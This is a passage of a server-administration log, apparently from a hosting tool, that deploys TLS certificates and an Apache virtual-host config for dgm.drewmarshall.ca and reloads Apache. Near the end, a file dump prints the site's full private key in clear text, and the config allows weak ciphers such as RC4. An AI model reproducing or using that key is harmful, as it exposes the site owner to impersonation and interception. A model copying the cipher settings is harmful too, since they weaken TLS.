cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-18 06:02:26: 

chmod 755 /tmp/pkp869589; /tmp/pkp869589; rm /tmp/pkp869589

2026-07-18 06:02:26: 


dir=/etc/ssl/certs


2026-07-18 06:02:26: 

PUT: /tmp/pkp654931

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-18 06:02:26: 

chmod 755 /tmp/pkp654931; /tmp/pkp654931; rm /tmp/pkp654931

2026-07-18 06:02:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf 43

<VirtualHost *:80>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-07-18 06:02:26: 

PUT: /tmp/pkp592031

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_dgm_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf= 1'
fi


2026-07-18 06:02:26: 

chmod 755 /tmp/pkp592031; /tmp/pkp592031; rm /tmp/pkp592031

2026-07-18 06:02:26: 




2026-07-18 06:02:26: 

PUT: /tmp/pkp866005

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-18 06:02:26: 

chmod 755 /tmp/pkp866005; /tmp/pkp866005; rm /tmp/pkp866005

2026-07-18 06:02:26: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-18 06:02:26: Establishing a connection
2026-07-18 06:02:26: 

PUT: /tmp/pkp965794

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-18 06:02:26: 

chmod 755 /tmp/pkp965794; /tmp/pkp965794; rm /tmp/pkp965794

2026-07-18 06:02:26: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:2)
                 alias www.anassnamedgrace.com
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:23)
         port 443 namevhost anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-18 06:02:26: 

PUT: /tmp/pkp948933

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-18 06:02:26: 

chmod 755 /tmp/pkp948933; /tmp/pkp948933; rm /tmp/pkp948933

2026-07-18 06:02:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf	1339

<VirtualHost *:80>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	dgm.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt
    DocumentRoot	/var/www/drewmarshall_dgm
    <Directory /var/www/drewmarshall_dgm>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/dgm_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/dgm_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-07-18 06:02:27: 

PUT: /tmp/pkp893119

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-18 06:02:27: 

chmod 755 /tmp/pkp893119; /tmp/pkp893119; rm /tmp/pkp893119

2026-07-18 06:02:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt	7424
c8:1d:50:a4:9d:ce:13:85:6e:24:c3:35:ed:44:5d:4e

-----BEGIN CERTIFICATE-----
MIIE/zCCA+egAwIBAgISBdLy4G5iau3kBJAhs0He1C/AMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzE4MDUwMzU1WhcNMjYxMDE2MDUwMzU0WjAeMRwwGgYDVQQD
ExNkZ20uZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2fSCKHs/wLawIluPiNgUPGtitAkoeQbXYhtWsvU6TFblEJOI4/tn5nkb
ZtlHOmhXv7XAtgJwWGenRylwtEqsggYm1PWKeoG6L8IgHUQCT+DsPOYe/GhmjTVS
gJWe0RmO51aBGtItbBzRwB3gMzn1GnovoU5frMS1eGtsRWFa2nD38N+eTvMoO6fr
veukvNWlrAj8U3soWvevd68omUwS7YX0XfI55hFefJUK46awXCg3zxxNcBBxLdOP
/FQen0CP8yqoqEItns3bMMUGzlJbYJcjNj2PeD7NtJBIcwDIkgONh/E2Lb6uAZNB
kqWrG3yv4QMEiIbd37KtbtMBssLUHQIDAQABo4ICIDCCAhwwDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FMbWz2hb7TRQX1z9bYnH69i/586AMB8GA1UdIwQYMBaAFB8vNb5GFILNQLGueSxV
ePr31Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMS5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITZGdtLmRyZXdtYXJzaGFsbC5jYTATBgNV
HSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8veXIxLmMu
bGVuY3Iub3JnLzY1LmNybDCCAQsGCisGAQQB1nkCBAIEgfwEgfkA9wB2AMijxH/H
s625NWsBP2p6Em3jOk5DpcZG+ZetOXWZHc+aAAABn3PRnuEAAAQDAEcwRQIgS0if
JIOP2w422yoJ04aNTS15fbGlf/lPgJb7+2DKoS8CIQCoMCAv2yh/Nlrk5Mq1CVvc
qgdG4pEnmd81RQ+UeVtuxwB9AEavhj07PuWfpXfeqCRdNrDZ7SKiI/Rhd0EilFLu
lVBfAAABn3PRnyQACAAABQANcvJbBAMARjBEAiAtFuNNszaO8cWF1aoVlZn/Qmw8
JzeICmAh9qLmaWvIUwIgHhufNVXCwsKl5SWRpV5UW5Ok62Q7ofws0l6EvWvV6M8w
DQYJKoZIhvcNAQELBQADggEBADbcU5i+g7zlsAdEh4sH48PKvfp8wy6oJupCwgaZ
mKBAQg/YFoW6sniEDYV4Hz6TvJGso7kFttEEeMQyTE3j0odppuuWO2MARCmzi9LD
MmxUOnUzAIUvhY/Ygfb2JTyyafZxjvq1wrM4N5/+It63TU9d3bKvLirPLHW/Ki5L
ZIUJR9p0r9kLNHlZ+rJxr1/rJ8cmoqApHoOAO2IlZYCJgfnN3UYoAKgTVTR6EjsM
mabVHQeo1RKg4wd10C0Tbd/bIXt3NbopP7tOPolOwo1Zz5k+5Q26fvaVo0RTFNE5
EtoZrFLZ+d0BMSbr/fyU7ISHYIqQZwRefWLVGh/eHi4SJOY=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDZ9IIoez/AtrAi
W4+I2BQ8a2K0CSh5BtdiG1ay9TpMVuUQk4jj+2fmeRtm2Uc6aFe/tcC2AnBYZ6dH
KXC0SqyCBibU9Yp6gbovwiAdRAJP4Ow85h78aGaNNVKAlZ7RGY7nVoEa0i1sHNHA
HeAzOfUaei+hTl+sxLV4a2xFYVracPfw355O8yg7p+u966S81aWsCPxTeyha9693
ryiZTBLthfRd8jnmEV58lQrjprBcKDfPHE1wEHEt04/8VB6fQI/zKqioQi2ezdsw
xQbOUltglyM2PY94Ps20kEhzAMiSA42H8TYtvq4Bk0GSpasbfK/hAwSIht3fsq1u
0wGywtQdAgMBAAECggEACTMvSfgnMReaXbORs8wIe/hob9hcc1IHm2YzWwB2QoH/
JJulppdBGShkMLYxMdT1B0GWbdhdLPjLGyTeU1iSPuF1mChOfRdRaEdVxbEji9hJ
qym82xipDi2BsFh1yLZpzXgIS70yxPfTyWaOxSVyzs2jibfeL/5po+NHlwd3UfW+
Kn8eXdykRSSkfd2x5NLa3iRx5WHnOW4P9Kv/xHoXY4Wpu5hTbooP9T7/qgUv1Hn/
pMKgcAXtQEto5zXEu9/R8rQfx72P+AX1ek6fj+BYBFkxXPVdxaVONnpeOZdJiEN5
R+H0xTWyH9QhB8oW3JT6e4/9uqHxry4wcVXzgyqwwQKBgQDwAP8Cd/C+t/DPfwg7
oJZWjgytC4Wy2PZ0CwYS9UO3YFncI2Zbi4xzF+2VokY1Pwd7z+NZA5u/rM/zePLz
u+FI67T9PGw9dAo6mN3KoI6/vp/qkQu7oTdx9hmxoTgOBj5q9CljnklgrLtAlN8N
G5TmUbAteVQSEWrMkbpdeo8BzQKBgQDoe0+MK952jUk0gY/9zpj6sFtgepj0Qi++
pEgvG3RtarYUuBatkOND/QMNJQrNMryX9YLwSqzm+OrSp3heptxRMOlVD9lL6e4m
YiiFBjIsfP3RgmyV1hC317Q/xdRoiMb/STtoZnM8OXV9xnyd0GprNdK8aVVA+3vE
Z6fg6msLkQKBgQDutC7tp5k8Nvo9hd0MYRXllHarDZC2ZvAIToaGCIaHNj9poZPG
bS8NsbjNYI5vmva4f/VgrSQVKa3SPHN3U2AoBLcIPzZwkJ8z1KKTS8lukAvBYu3G
efwJTnoTn4N+/1rJSXp46A+XJXVAMFEAWnRn9stBDzE8nzIXsMEpBCKD6QKBgA/2
h5vEV14kjWZBjzWKPg7YlS2mvWHoOYcJmLtDU1dAAIijq0r3q+M7OD5q0LcOSMzW
WstNFVo2tUkJnsZBBte8WAkzMWR5B5UzID0iE8fiPTtpjTMso7E76nCGkPMskR1u
VdnxTvBPsbWVL3FWojgCVhoB0YzIt9LgmzJiZj9BAoGAQK4dlRP5yGUJ7Tk886ld
NA+OwcQIidrkbgElIlpzjv4/gMLIdhfPiFaCDiql1we+t90Hlghs3WzqYL3JEUGI
sWXiQ+O/SZiNbIr6htRBmDZ4z9B372HzlM3oMLg3/yHkSAHAYlS3wldwnJGRSAGW
FK67uGnMEB4z3nFdtFU/N38=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
